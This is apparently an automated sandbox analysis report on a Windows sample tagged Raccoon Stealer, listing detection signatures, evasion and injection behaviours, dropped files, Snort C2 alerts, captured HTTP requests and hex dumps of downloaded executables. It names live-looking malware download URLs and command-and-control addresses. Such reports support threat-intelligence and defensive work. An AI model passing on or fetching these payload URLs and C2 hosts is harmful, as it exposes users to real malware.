Windows Analysis Report CFE9H9mdWr.exe

Overview

General Information

Sample Name: CFE9H9mdWr.exe
Analysis ID: 511952
MD5: c5a077a9785424c21611801db5dd0f95
SHA1: 423bfbe43ac7b308f0b889be8824c317bc1f4846
SHA256: 8920b1d5b8a3f73bb010cdd5014602e4d974f2d7ef3e63f25674be6b03a4b21e
Tags: exeRaccoonStealer
Infos:

Most interesting Screenshot:

Detection

Amadey Raccoon RedLine SmokeLoader Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected RedLine Stealer
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Early bird code injection technique detected
Yara detected AntiVM3
Yara detected Vidar
Yara detected SmokeLoader
Yara detected Amadey bot
System process connects to network (likely due to code injection or exploit)
Yara detected Raccoon Stealer
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Antivirus detection for dropped file
Yara detected UAC Bypass using CMSTP
DLL reload attack detected
Multi AV Scanner detection for submitted file
Benign windows process drops PE files
Multi AV Scanner detection for dropped file
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
.NET source code contains very large array initializations
Contains functionality to inject code into remote processes
Deletes itself after installation
Creates a thread in another existing process (thread injection)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Checks if the current machine is a virtual machine (disk enumeration)
Sample uses process hollowing technique
Renames NTDLL to bypass HIPS
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Queues an APC in another process (thread injection)
Machine Learning detection for dropped file
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Uses insecure TLS / SSL version for HTTPS connection
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
PE file contains sections with non-standard names
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains functionality for execution timing, often used to detect debuggers
Creates a DirectInput object (often for capturing keystrokes)
PE file contains an invalid checksum
Detected TCP or UDP traffic on non-standard ports
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Yara detected Raccoon Stealer
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR
Antivirus detection for URL or domain
Source: http://sysaheu90.top/game.exe Avira URL Cloud: Label: malware
Source: http://znpst.top/dl/buildz.exe Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept Avira URL Cloud: Label: malware
Source: http://telegalive.top/ah Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe Avira URL Cloud: Label: malware
Source: http://hajezey1.top/ Avira URL Cloud: Label: malware
Source: http://telegalive.top/ Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe Avira: detection malicious, Label: HEUR/AGEN.1138925
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Avira: detection malicious, Label: HEUR/AGEN.1138925
Multi AV Scanner detection for submitted file
Source: CFE9H9mdWr.exe Virustotal: Detection: 59% Perma Link
Source: CFE9H9mdWr.exe Metadefender: Detection: 22% Perma Link
Source: CFE9H9mdWr.exe ReversingLabs: Detection: 51%
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\12C6.exe ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\4F44.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\DA7F.exe ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\bsstvub Metadefender: Detection: 22% Perma Link
Source: C:\Users\user\AppData\Roaming\bsstvub ReversingLabs: Detection: 51%
Machine Learning detection for sample
Source: CFE9H9mdWr.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DC45.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\69D3.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\234F.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D88A.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DEC6.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D210.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\isstvub Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wistvub Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\bsstvub Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 35.0.39F6.exe.400000.5.unpack Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.17.unpack Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.11.unpack Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.7.unpack Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.15.unpack Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.9.unpack Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.13.unpack Avira: Label: TR/AD.Amadey.ezxiu

Exploits:

barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 24.2.B4BD.exe.41e9510.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.B4BD.exe.41e9510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B4BD.exe PID: 4036, type: MEMORYSTR

Compliance:

barindex
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49826 version: TLS 1.0
Uses 32bit PE files
Source: CFE9H9mdWr.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49881 version: TLS 1.2
Source: Binary string: C:\vojos\fuw.pdb source: 2E6C.exe, 0000001D.00000000.426239114.0000000000417000.00000002.00020000.sdmp
Source: Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 39F6.exe, 39F6.exe, 00000026.00000002.514678804.0000000003ED5000.00000004.00000001.sdmp
Source: Binary string: C:\caduzabo-15\jobobiviwesasu\yinuzixohiyi\gotaro.pdb source: CFE9H9mdWr.exe, 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, CFE9H9mdWr.exe, 00000003.00000000.283132897.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000011.00000000.379245984.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000013.00000000.381807809.0000000000401000.00000020.00020000.sdmp
Source: Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: 12C6.exe, 00000012.00000000.382730318.0000000000401000.00000020.00020000.sdmp, 12C6.exe, 00000014.00000000.393366231.0000000000401000.00000020.00020000.sdmp
Source: Binary string: wntdll.pdbUGP source: 2E6C.exe, 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp
Source: Binary string: wntdll.pdb source: 2E6C.exe
Source: Binary string: *C:\caduzabo-15\jobobiviwesasu\yinuzixohiyi\gotaro.pdb source: CFE9H9mdWr.exe, 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, CFE9H9mdWr.exe, 00000003.00000000.283132897.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000011.00000000.379245984.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000013.00000000.381807809.0000000000401000.00000020.00020000.sdmp
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0041B9B2 FindFirstFileExW, 35_2_0041B9B2

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.3:49847 -> 185.215.113.45:80
Source: Traffic Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49846 -> 91.219.236.97:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe Domain query: znpst.top
Source: C:\Windows\explorer.exe Network Connect: 216.128.137.31 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe Domain query: hajezey1.top
Source: C:\Windows\explorer.exe Domain query: sysaheu90.top
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 91.219.236.97
Source: global traffic HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:28:42 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:28:02 GMTETag: "54000-5cf81fcc9d9bc"Accept-Ranges: bytesContent-Length: 344064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ca 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 74 02 00 04 00 00 31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 d0 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 75 66 75 6c 61 63 e5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:29:19 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:29:02 GMTETag: "92800-5cf820058192d"Accept-Ranges: bytesContent-Length: 600064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 29 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 a6 07 00 00 c4 70 02 00 00 00 00 50 ac 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 1b 9f 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 aa 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 30 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a1 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 a5 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 c0 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 74 6f 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:29:57 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Last-Modified: Fri, 29 Oct 2021 18:20:03 GMTETag: "d5e00-5cf81e037dd62"Accept-Ranges: bytesContent-Length: 876032Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a fa 17 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 dc 0b 00 00 c4 70 02 00 00 00 00 80 e0 09 00 00 10 00 00 00 f0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 7c 02 00 04 00 00 d3 b9 0d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 de 0b 00 50 00 00 00 00 70 7b 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 7b 02 30 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 d5 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 da 0b 00 00 10 00 00 00 dc 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 f0 0b 00 00 16 00 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 75 73 6f 00 00 00 e5 02 00 00 00 60 7b 02 00 04 00 00 00 f6 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 70 7b 02 00 40 00 00 00 fa 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 b0 7b 02 00 24 01 00 00 3a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 18:30:01 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49826 version: TLS 1.0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mnhikj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: hajezey1.top
